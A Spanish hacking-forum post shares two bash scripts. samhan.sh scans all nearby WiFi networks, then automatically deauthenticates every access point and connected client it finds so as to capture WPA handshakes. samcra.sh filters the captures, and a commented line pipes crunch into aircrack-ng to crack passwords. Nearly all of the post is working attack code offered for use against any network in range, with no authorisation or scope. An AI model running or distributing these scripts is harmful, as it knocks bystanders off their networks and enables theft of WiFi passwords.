Bienvenidos al nuevo foro de hackplayers. En caso de encontrarse cualquier tipo de error, contacte con cualquier administrador por mensaje privado.
Recuerda que, para incrementar tu privacidad, tambien puedes acceder al foro usando el dominio forohpysho2t5mjs.onion de la red tor.

[Bash script]samhan.sh

Buenas. Otro pequeño juego de malabares con cuatro comandos, samhan.sh se encarga de capturar los handshakes de redes wifi. . Una vez que se ejecuta el script, se lanza airodump para ver el aire. Se ordenan los datos, y se intenta capturar el handshake de cada cliente que esté conectado a cada ap que registre.

La segunda parte es samcra, pero no crackea, solo comprueba que la captura contenga handshake y si no borra la captura. El script va bien, lo que cuando intenta comprobar en una captura sobre wep peta, y con ctrl+c vuelve al sitio y continua con el procesado.

samhan.sh
[code]
#!/bin/bash
#samhan.sh
#
#
#
airmon-ng stop mon0
#RECOPILACION DE ONDAS WIFI
ifconfig wlan0 up
airmon-ng start wlan0
#------------------------------------------------------

rm scan*.*
airodump-ng -w scan mon0 &
echo "Escaneando el aire"
sleep 66
kill $!

bus2=$(grep -n Station scan-01.csv | awk '{print $1}'|sed -e "s/:Station//g")

cp scan-01.csv scan
cp scan-01.csv scan2
sed -i "1,${bus2}d" scan
cat scan | awk '{print $1}' | grep , |  sed -e "s/,//g" > clientes
cat scan | awk '{print $8}'| awk -F',' '{print $1}' > ap_cli
sed -i '/^$/d' ap_cli
grep -n not ap_cli | grep : |  sed -e "s/:(not//g"  > ap_cli_null
declare -a v_eliminar=()
i=0
while read linea ; do
   v_eliminar[$i]=${linea}
   i=$(($i+1))
done < ap_cli_null

for ((i=${#v_eliminar[@]}-1; i>=0; i--)); do
 sed -i "${v_eliminar[$i]}d" ap_cli
done

for ((i=${#v_eliminar[@]}-1; i>=0; i--)); do
 sed -i "${v_eliminar[$i]}d" clientes
done

#INF asociados
declare -a v_apcli=()
i=0
while read linea ; do
   v_apcli[$i]=${linea}
   i=$(($i+1))
done <<< "`cat ap_cli`"

declare -a v_clientes=()
i=0
while read linea ; do
   v_clientes[$i]=${linea}
   i=$(($i+1))
done <<< "`cat clientes`"

#INF resto
sed -i "1,2d" scan2
var=$(expr ${bus2} - 3)
head -n $var scan2 > datos
cat datos | awk -F',' '{print $1}' > macs_ap_temp
cont_macs_ap=$(wc macs_ap_temp | awk '{print $1}')
var1=$(expr ${cont_macs_ap} - 1)
head -n ${var1} macs_ap_temp > macs_ap

cat datos | awk -F',' '{print $14}' | sed -e "s/ //g" > essids_temp
cat datos | awk -F',' '{print $1}' | sed -e "s/ //g" > bssids_temp
cat datos | awk -F',' '{print $4}'| sed -e "s/ //g" > channel_temp
cat datos | awk -F',' '{print $6}'| sed -e "s/ //g" > cipher_temp
cat datos | awk -F',' '{print $9}'| sed -e "s/ //g" > signal_temp

head -n ${var1} essids_temp > essids
head -n ${var1} bssids_temp > bssids
head -n ${var1} cipher_temp > cipher
head -n ${var1} channel_temp > channel
head -n ${var1} signal_temp > signal

declare -a v_essids=()
i=0
while read linea ; do
   v_essids[$i]=${linea}
   i=$(($i+1))
done <<< "`cat essids`"

declare -a v_bssids=()
i=0
while read linea ; do
   v_bssids[$i]=${linea}
   i=$(($i+1))
done <<< "`cat bssids`"

declare -a v_cipher=()
i=0
while read linea ; do
   v_cipher[$i]=${linea}
   i=$(($i+1))
done <<< "`cat cipher`"

declare -a v_signal=()
i=0
while read linea ; do
   v_signal[$i]=${linea}
   i=$(($i+1))
done <<< "`cat signal`"

declare -a v_channel=()
i=0
while read linea ; do
   v_channel[$i]=${linea}
   i=$(($i+1))
done <<< "`cat channel`"

NUM_TOTAL=$(wc bssids | awk '{print $1}')
NUM_TOTAL=$(($NUM_TOTAL-1))
if [ -f /root/Desktop/todo ]; then rm todo; fi
for x in `seq 0 $NUM_TOTAL`; do
echo "    ${v_bssids[x]} : ${v_channel[x]} :  ${v_essids[x]}">> todo
done
#cat todo
#--------------------------------------------------------
if [ -f /root/Desktop/obj_canal ]; then rm obj_canal; fi
if [ -f /root/Desktop/obj_essid ]; then rm obj_essid; fi
var=$(wc ap_cli | awk '{print $1}')
var=$(($var-1))
for x in `seq 0 $var`; do
   var2=${v_apcli[x]}
   cat todo | grep -n $var2  | awk  '{print $4}' >> obj_canal
   cat todo | grep -n $var2  | awk  '{print $6}' >> obj_essid
done

declare -a v_obj_canal=()
i=0
while read linea ; do
   v_obj_canal[$i]=${linea}
   i=$(($i+1))
done <<< "`cat obj_canal`"


declare -a v_obj_essid=()
i=0
while read linea ; do
   v_obj_essid[$i]=${linea}
   i=$(($i+1))
done <<< "`cat obj_essid`"


NUM_TOTAL=$(wc ap_cli | awk '{print $1}')
NUM_TOTAL=$(($NUM_TOTAL-1))
#if [ -f /root/Desktop/asociados ]; then rm asociados; fi
#for x in `seq 0 $NUM_TOTAL`; do
#echo "[$x] : ${v_apcli[x]} : ${v_obj_canal[x]} :  ${v_clientes[x]} : ${v_obj_essid[x]} ">> asociados
#done
#cat asociados

#echo "  ---seleccione--- "
#read x

#ATAQUE------------------------------------------4
for x in `seq 0 $NUM_TOTAL`; do
airmon-ng start wlan0
   xterm -e airodump-ng -c ${v_obj_canal[$x]} --bssid ${v_apcli[$x]} -w ${v_obj_essid[$x]} mon$x &
   sleep 1
   xterm -e aireplay-ng -0 20 -e ${v_obj_essid[$x]} -a ${v_apcli[$x]} mon$x &
   sleep 20
   xterm -e aireplay-ng -0 10 -a ${v_apcli[$x]} -a ${v_apcli[$x]} mon$x &
done

[/code]


samcra.sh
[code]
#!/bin/bash
#samcra.sh
#
#
ls > arx
declare -a v_arx=()
i=0
while read linea ; do
   v_arx[$i]=${linea}
   i=$(($i+1))
done <<< "`cat arx`"
v=$(wc arx | awk '{print $1}')
v=$(($v-1))
if [ -f /root/Desktop/capturas/arx ]; then rm arx; fi

for x in `seq 0 $v`; do
  var=${v_arx[x]}
  aircrack-ng ${var} > temp
  cat temp
  check=$(cat temp | grep handshake | awk '{print $5}' | sed -e "s/(//g")
  if [ "$check" != 1 ]; then
     echo $var
     rm ${var}
  fi
  #sleep 1
done
if [ -f /root/Desktop/capturas/temp ]; then rm temp; fi
#crunch 8 8 | aircrack-ng -a 2 -e xxxxxx xxxxxx-01.cap -w -
[/code]
Accede o Regístrate para comentar.